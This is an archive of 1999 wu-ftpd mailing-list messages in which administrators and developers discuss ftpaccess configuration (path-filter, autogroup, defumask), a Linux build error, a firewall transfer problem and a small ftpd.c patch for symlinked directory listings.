Subject: Summary: Permission denied. (Filename (accept))
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----_=_NextPart_001_01BE7093.192A43BA"
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE7093.192A43BA
Content-Type: text/plain;
charset="iso-8859-1"

Many thanks to Gregory A Lundberg for his amazingly quick reply

"We usually call this uploading, btw, since we look at things from the
server's point of view.

> path-filter anonymous,guest,ftp ^[-A-Za-z0-9\._]*$ ^\. ^-

The filename is being rejected by path-filter.

path-filter's first parameter MUST contain a comma-separated list of one
of the following: anonymous guest real .. you have 'ftp' listed and that
has no meaning here.

On wu-ftpd-vr, you can also use a class=<classname> in this first
parameter."

As a test I commented out the path-filter entry completelty. I was then
able to "upload".

Thanks again Gregory.

Michael Long.
Karmax Heavy Stamping.

------_=_NextPart_001_01BE7093.192A43BA
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2448.0">
<TITLE>Summary: Permission denied. (Filename (accept))</TITLE>
</HEAD>
<BODY>

Many thanks to Gregory A Lundberg for his amazingly =
quick reply


"We usually call this uploading, btw, since we =
look at things from the
 server's point of view.


> =
path-filter          &=
nbsp;  anonymous,guest,ftp     =
^[-A-Za-z0-9\._]*$ ^\. ^-


The filename is being rejected by path-filter.


path-filter's first parameter MUST contain a =
comma-separated list of one
 of the following: anonymous guest real .. you have =
'ftp' listed and that
 has no meaning here.


On wu-ftpd-vr, you can also use a =
class=3D<classname> in this first
 parameter."


As a test I commented out the path-filter entry =
completelty.  I was then able to "upload".


Thanks again Gregory.

 

Michael Long.
 Karmax Heavy Stamping.
  


</BODY>
</HTML>
------_=_NextPart_001_01BE7093.192A43BA--

From [email protected] Wed Mar 17 10:50:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA21662;
Wed, 17 Mar 1999 10:50:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA00368;
Wed, 17 Mar 1999 10:44:39 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA31718
for <[email protected]>; Wed, 17 Mar 1999 10:39:48 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA14436;
Wed, 17 Mar 1999 11:39:42 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 11:39:42 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Gary Goldberg <[email protected]>
Cc: [email protected]
Subject: Re: Double-Check: Any way to virtual ftp w/o IP address? (Solaris)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Gary Goldberg wrote:

> Is it possible to have independent anon ftp's without assigning
> multiple IP addresses to the machine at this time.

No

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 17 10:56:05 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA21777;
Wed, 17 Mar 1999 10:56:05 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA32155;
Wed, 17 Mar 1999 10:50:54 -0600 (CST)
Received: from cello.digimark.net (ns1.digimark.net [209.67.203.9])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA32616
for <[email protected]>; Wed, 17 Mar 1999 10:47:28 -0600 (CST)
Received: from cello.digimark.net (cello.digimark.net [209.67.203.10])
by cello.digimark.net (8.9.1a/8.9.1) with ESMTP id LAA27189;
Wed, 17 Mar 1999 11:47:25 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 11:47:25 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gary Goldberg <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Double-Check: Any way to virtual ftp w/o IP address? (Solaris)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

OK. That's what I thought. Thanks. -Gary

- Do not taunt Happy Fun Ball.
Gary Goldberg KA3ZYW email: [email protected] 301/249-6501 ICQ: 22569505
Digital Marketing, Inc., Bowie, MD. http://www.digimark.net/

On Wed, 17 Mar 1999, Gregory A Lundberg wrote:

> On Wed, 17 Mar 1999, Gary Goldberg wrote:
>
> > Is it possible to have independent anon ftp's without assigning
> > multiple IP addresses to the machine at this time.
>
> No
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195
>

From [email protected] Wed Mar 17 12:40:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA23672;
Wed, 17 Mar 1999 12:40:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA12510;
Wed, 17 Mar 1999 12:34:11 -0600 (CST)
Received: from poseidon.coastside.net (poseidon.coastside.net [207.213.212.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA13317
for <[email protected]>; Wed, 17 Mar 1999 12:29:00 -0600 (CST)
Received: from micah ([207.213.215.90])
by poseidon.coastside.net (8.8.8/8.8.8) with SMTP id KAA01865
for <[email protected]>; Wed, 17 Mar 1999 10:29:56 -0800 (PST)
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 10:29:24 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Rob Genovesi <[email protected]>
To: [email protected]
Subject: defumask (again)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Isn't there a way to set a different 'defumask' for virtual servers? I
thought I saw this once in one of the various man pages or readme files,
but I can't seem to find it again.

Does it exist or am I just wishfully thinking?

Version: Version wu-2.4.2-academ[BETA-18-VR12](1)

thanks,

Rob Genovesi
[email protected]

From [email protected] Wed Mar 17 13:17:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA24558;
Wed, 17 Mar 1999 13:17:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA15882;
Wed, 17 Mar 1999 13:12:58 -0600 (CST)
Received: from mail.midmon.com ([email protected] [207.238.211.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA14528
for <[email protected]>; Wed, 17 Mar 1999 13:06:14 -0600 (CST)
Received: from pjs (pjs.midmon.com [207.238.211.49])
by mail.midmon.com (8.8.7/8.8.7) with SMTP id OAA03171;
Wed, 17 Mar 1999 14:02:25 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 14:07:26 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Patrick Shoaf <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 08:44 PM 3/16/99 +0000, Roeland Th. Jansen wrote:
>
>install bison and retry. if it still fails, post the failed messages.
>
>
After installing bison, these are the messages I receive...
output from "./build lnx >err 2>err2" below...

==================ERR=======================
make args are :
make opts are :
Linking Makefiles.
Making support library.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c strcasestr.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c authuser.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c snprintf.c
rm -f libsupport.a
ar cq libsupport.a strcasestr.o authuser.o snprintf.o
ranlib libsupport.a
Making ftpd.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c ftpd.c -o ftpd.o
bison -y ftpcmd.y
mv -f y.tab.c ftpcmd.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c ftpcmd.c -o ftpcmd.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c glob.c -o glob.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c logwtmp.c -o logwtmp.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c popen.c -o popen.o
sh newvers.sh
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c vers.c
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c access.c -o access.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c extensions.c -o extensions.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c realpath.c -o realpath.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c acl.c -o acl.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c private.c -o private.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c authenticate.c -o authenticate.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c conversions.c -o conversions.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c hostacc.c -o hostacc.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -c sigfix.c -o sigfix.o
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ftpd ftpd.o ftpcmd.o glob.o
logwtmp.o popen.o vers.o access.o extensions.o realpath.o acl.o private.o
authenticate.o conversions.o hostacc.o sigfix.o -lsupport -lcrypt
Making ftpcount.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ftpcount ftpcount.c vers.o
-lsupport -lcrypt
Making ftpshut.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ftpshut ftpshut.c vers.o
-lsupport -lcrypt
Making ckconfig.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -DSHADOW_PASSWORD -o ckconfig ckconfig.c
Links to executables are in bin directory:
text data bss dec hex filename
88169 2744 2152 93065 16b89 bin/ckconfigDone

=======================ERR2============================
ftpd.c: In function `dataconn':
ftpd.c:2463: warning: passing arg 5 of `select' from incompatible pointer type
ftpd.c: In function `initsetproctitle':
ftpd.c:3839: warning: assignment makes pointer from integer without a cast
popen.o: In function `ftpd_popen':
popen.o(.text+0xce): undefined reference to `___strtok'
popen.o(.text+0x13b): undefined reference to `___strtok'
access.o: In function `hostmatch':
access.o(.text+0x296): undefined reference to `___strtok'
access.o(.text+0x306): undefined reference to `___strtok'
access.o(.text+0x332): undefined reference to `___strtok'
access.o(.text+0x39f): more undefined references to `___strtok' follow
make: *** [ftpd] Error 1
/tmp/cca040861.o: In function `acl_getlimit':
/tmp/cca040861.o(.text+0x239): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x2a8): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x2ae): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x31b): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x34b): undefined reference to `___strtok'
/tmp/cca040861.o(.text+0x3b8): more undefined references to `___strtok' follow
make: *** [ftpcount] Error 1
/tmp/cca040971.o: In function `main':
/tmp/cca040971.o(.text+0x459): undefined reference to `___strtok'
/tmp/cca040971.o(.text+0x4c8): undefined reference to `___strtok'
/tmp/cca040971.o(.text+0x4ce): undefined reference to `___strtok'
/tmp/cca040971.o(.text+0x53b): undefined reference to `___strtok'
make: *** [ftpshut] Error 1
size: bin/ftpd: No such file or directory
size: bin/ftpcount: No such file or directory
size: bin/ftpshut: No such file or directorysize: bin/ftpwho: No such file
or directory

Patrick J. Shoaf, Systems Engineer
<mailto:[email protected]>[email protected]

A & S Enterprises
449 Knox Ave
Monessen, PA 15062-1532
Phone: 724-684-8270 or 888-638-6963 in PA only
Fax: 724-684-8274
Check out our web site at http://www.midmon.com
or you can e-mail us at <mailto:[email protected]>[email protected]

From [email protected] Wed Mar 17 13:20:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA24601;
Wed, 17 Mar 1999 13:20:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA17386;
Wed, 17 Mar 1999 13:14:22 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA16828
for <[email protected]>; Wed, 17 Mar 1999 13:08:52 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA15759;
Wed, 17 Mar 1999 14:08:24 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 14:08:23 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Rob Genovesi <[email protected]>
Cc: [email protected]
Subject: Re: defumask (again)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Rob Genovesi wrote:

> Isn't there a way to set a different 'defumask' for virtual servers?
> I thought I saw this once in one of the various man pages or readme
> files, but I can't seem to find it again.
>
> Does it exist or am I just wishfully thinking?
>
> Version: Version wu-2.4.2-academ[BETA-18-VR12](1)

You were probably looking at BeroFTPD

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 17 13:21:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA24617;
Wed, 17 Mar 1999 13:21:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA07697;
Wed, 17 Mar 1999 13:15:45 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA15801
for <[email protected]>; Wed, 17 Mar 1999 13:08:54 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id UAA14232;
Wed, 17 Mar 1999 20:08:47 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id TAA29537;
Wed, 17 Mar 1999 19:05:53 GMT
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 19:05:52 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected] (Patrick Shoaf)
Cc: [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]> from Patrick Shoaf at "Mar 17, 1999 02:07:26 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

ok basically it bouls down to :

> undefined reference to `___strtok'

anyone who knows where strtok is put in (which lib)

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.3 on an i586/64 MB | on Usenet. _\_v

From [email protected] Wed Mar 17 13:43:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA24988;
Wed, 17 Mar 1999 13:43:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA21022;
Wed, 17 Mar 1999 13:38:46 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA12848
for <[email protected]>; Wed, 17 Mar 1999 13:34:49 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA15967;
Wed, 17 Mar 1999 14:34:18 -0500
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 14:34:16 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: Patrick Shoaf <[email protected]>, [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Roeland Th. Jansen wrote:

> > undefined reference to `___strtok'
>
> anyone who knows where strtok is put in (which lib)

libc

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 17 16:51:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA27914;
Wed, 17 Mar 1999 16:51:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA06349;
Wed, 17 Mar 1999 16:46:56 -0600 (CST)
Received: from ljcqs016.cnf.com ([205.185.108.239])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA04720
for <[email protected]>; Wed, 17 Mar 1999 16:46:30 -0600 (CST)
Received: from cnfvs008.cnf.com (cnfvs008.cnf.com [10.0.2.114])
by ljcqs016.cnf.com (8.8.7/8.8.7) with ESMTP id OAA02844
for <[email protected]>; Wed, 17 Mar 1999 14:45:57 -0800 (PST)
Received: by cnfvs008.cnf.com with Internet Mail Service (5.5.2448.0)
id <GWD5MY74>; Wed, 17 Mar 1999 14:45:55 -0800
Message-Id: <[email protected]>
Date: Wed, 17 Mar 1999 14:45:55 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Speier, Guy J - CNF" <[email protected]>
To: "'[email protected]'" <[email protected]>
Subject: transfer problems
MIME-Version: 1.0
Content-Type: text/plain
X-Mailer: Internet Mail Service (5.5.2448.0)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> Has anyone experienced the following problem, or have any input as to
> a possible solution:
>
> ftp server is in DMZ
>
> ftp from within firewall (pc, UNIX, & mainframe) work fine
> ftp from outside firewall (pc, UNIX) work fine
>
> ftp from outside firewall (mainframe) barfs when there is a welcome
> message (the user can log in, but hangs after banner is displayed)
> when welcome message is removed, the user may log in, and do ls, pwd, and
> get. When the user tries to do a put,
> a zero length file is put down (even though mainframe says transfer was
> fine).
>
> help
> Guy
>

From [email protected] Wed Mar 17 23:33:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id XAA03486;
Wed, 17 Mar 1999 23:32:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id XAA09804;
Wed, 17 Mar 1999 23:28:08 -0600 (CST)
Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id XAA08849
for <[email protected]>; Wed, 17 Mar 1999 23:24:11 -0600 (CST)
Received: from atlantis.csc.umd.edu (localhost [127.0.0.1])
by atlantis.csc.umd.edu (8.9.3/8.9.3) with SMTP id AAA02288;
Thu, 18 Mar 1999 00:24:10 -0500 (EST)
Received: from localhost by atlantis.csc.umd.edu (8.9.3/8.9.3) with ESMTP id AAA02284;
Thu, 18 Mar 1999 00:24:09 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 00:24:08 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: "Randall S. Winchester" <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Problems with current Bero and VR code.
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 17 Mar 1999, Gregory A Lundberg wrote:

: What we have here is a disconnect between how we'd like to see symlinks
: appear on a long listing (-l option for ls) and how we'd like them to
: behaved when named directly (-L option). Both methods are aguably
: correct.
:
: What's unfortunate here is the orginal posting claims that this
: disconnect, when taken together with the MAPPING_CHDIR feature, causes
: problems for some clients. That's a pretty strong argument for using -L
: even though I'd really like to try to not have that option appear on the
: listing itself.

Right I was not happy with it either.

: It may be a few weeks/couple months before I get a chance to look into it;
: maybe someone would like to consider what it would take to have the daemon
: look for a symlink as the _specified_ parameter for LIST and actually pass
: ls the resolved name .. maybe this is as simple as always passing the LIST
: parameter through fb_realpath() ... ???

Ahh, that is a good idea... How about this, which seems to do the trick;
If realname is a directory, and we are doing a LIST or NLIST, then call the
command (ls_XXX) with the realname as the argument. To the user it looks
like they are calling the original "name".

Note: Line numbers will not match...

diff -u -r1.2 ftpd.c
--- ftpd.c 1999/03/18 05:13:13 1.2
+++ ftpd.c 1999/03/18 05:18:34
@@ -3473,7 +3473,13 @@
} else { /* run command */
static char line[BUFSIZ];

- (void) snprintf(line, sizeof line, cmd, name), name = line;
+#ifdef MAPPING_CHDIR
+ if ((stat_ret = stat(realname, &junk)) == 0 && S_ISDIR(junk.st_mode)
+ && !retrieve_is_data)
+ (void) snprintf(line, sizeof line, cmd, realname), name = line;
+ else
+#endif
+ (void) snprintf(line, sizeof line, cmd, name), name = line;
fin = ftpd_popen(line, "r", 1), closefunc = ftpd_pclose;
st.st_size = -1;
#ifdef HAVE_ST_BLKSIZE

Randall

From [email protected] Thu Mar 18 04:01:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA05761;
Thu, 18 Mar 1999 04:01:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA31704;
Thu, 18 Mar 1999 03:55:42 -0600 (CST)
Received: from hal.csd.auth.gr (hal.csd.auth.gr [155.207.113.69])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA00165
for <[email protected]>; Thu, 18 Mar 1999 03:44:44 -0600 (CST)
Received: from localhost (hkosmidi@localhost)
by hal.csd.auth.gr (8.8.7/8.8.7) with ESMTP id LAA21875
for <[email protected]>; Thu, 18 Mar 1999 11:44:34 +0200
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 11:44:34 +0200 (EET)
Reply-To: [email protected]
Sender: [email protected]
From: Harris Kosmidhs <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: upload
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I just installed wu-ftpd 2.4.2 final with vr16.

I use the old ftpaccess from 2.4.2BETA18.

Previously I could upload files in the /incoming (i had the coorect line
in ftpaccess)
Now I can't. Do I need to change anything in the upload statement?

Thanks
Harris

From [email protected] Thu Mar 18 09:14:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA10283;
Thu, 18 Mar 1999 09:14:19 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA09640;
Thu, 18 Mar 1999 09:07:49 -0600 (CST)
Received: from gatekeeper.dsg.com (gatekeeper.dsg.com [204.179.88.126])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA14325
for <[email protected]>; Thu, 18 Mar 1999 08:57:20 -0600 (CST)
Received: (from uucp@localhost) by gatekeeper.dsg.com (8.6.10/8.6.10) id IAA07524 for <[email protected]>; Thu, 18 Mar 1999 08:49:13 -0600
Received: from ares.dsg.com(204.179.89.129) by gatekeeper.dsg.com via smap (V1.3)
id sma007522; Thu Mar 18 08:48:54 1999
Received: from pluto.dsg.com (pluto [204.179.89.169])
by ares.dsg.com (8.8.5/8.8.5) with ESMTP id IAA24306
for <[email protected]>; Thu, 18 Mar 1999 08:56:42 -0600 (CST)
Received: by pluto.dsg.com with Internet Mail Service (5.5.2232.9)
id <F28K4CNK>; Thu, 18 Mar 1999 08:58:02 -0600
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 08:58:01 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Ray Texter <[email protected]>
To: "Wu-Ftpd (E-mail)" <[email protected]>
Subject: autogroup in ftpaccess file
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2232.9)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm trying to get the autogroup command to work. this is a copy of my
ftpaccess file:

class zeus anonymous XXX.XXX.89.59
class local anonymous XXX.XXX.89.164

autogroup testing zeus
autogroup lonestar local

limit local 15 /etc/msg.dead
limit remote 30 /etc/msg.dead

Under the pub dir. I had two directories then look like this:

dr-xr-xr-x 2 root testing 512 Mar 17 16:18 eeee
-rwxr-xr-x 1 root other 484 Mar 18 08:41 ftpaccess
-rwxrwxrwx 1 root other 50 Mar 15 15:29 pubfile
-rw-r--r-- 1 root other 0 Mar 18 08:48 ray.txt
drwxr-x--x 2 root lonestar 512 Mar 15 16:19 testdir

I had access to all the dir no matter what hosts I was logged into. If
someone has a clue about
this I would really appreciate the help.

Thank you in advance..
Ray

From [email protected] Thu Mar 18 09:52:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA10975;
Thu, 18 Mar 1999 09:52:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA09540;
Thu, 18 Mar 1999 09:46:22 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA20716
for <[email protected]>; Thu, 18 Mar 1999 09:34:52 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA25325;
Thu, 18 Mar 1999 10:34:36 -0500
Message-Id: <[email protected]>
Date: Thu, 18 Mar 1999 10:34:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Ray Texter <[email protected]>
Cc: "Wu-Ftpd (E-mail)" <[email protected]>
Subject: Re: autogroup in ftpaccess file
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 18 Mar 1999, Ray Texter wrote:

> I'm trying to get the autogroup command to work. this is a copy of my
> ftpaccess file:
>
> class zeus anonymous XXX.XXX.89.59
> class local anonymous XXX.XXX.89.164
>
> autogroup testing zeus
> autogroup lonestar local
>
> limit local 15 /etc/msg.dead
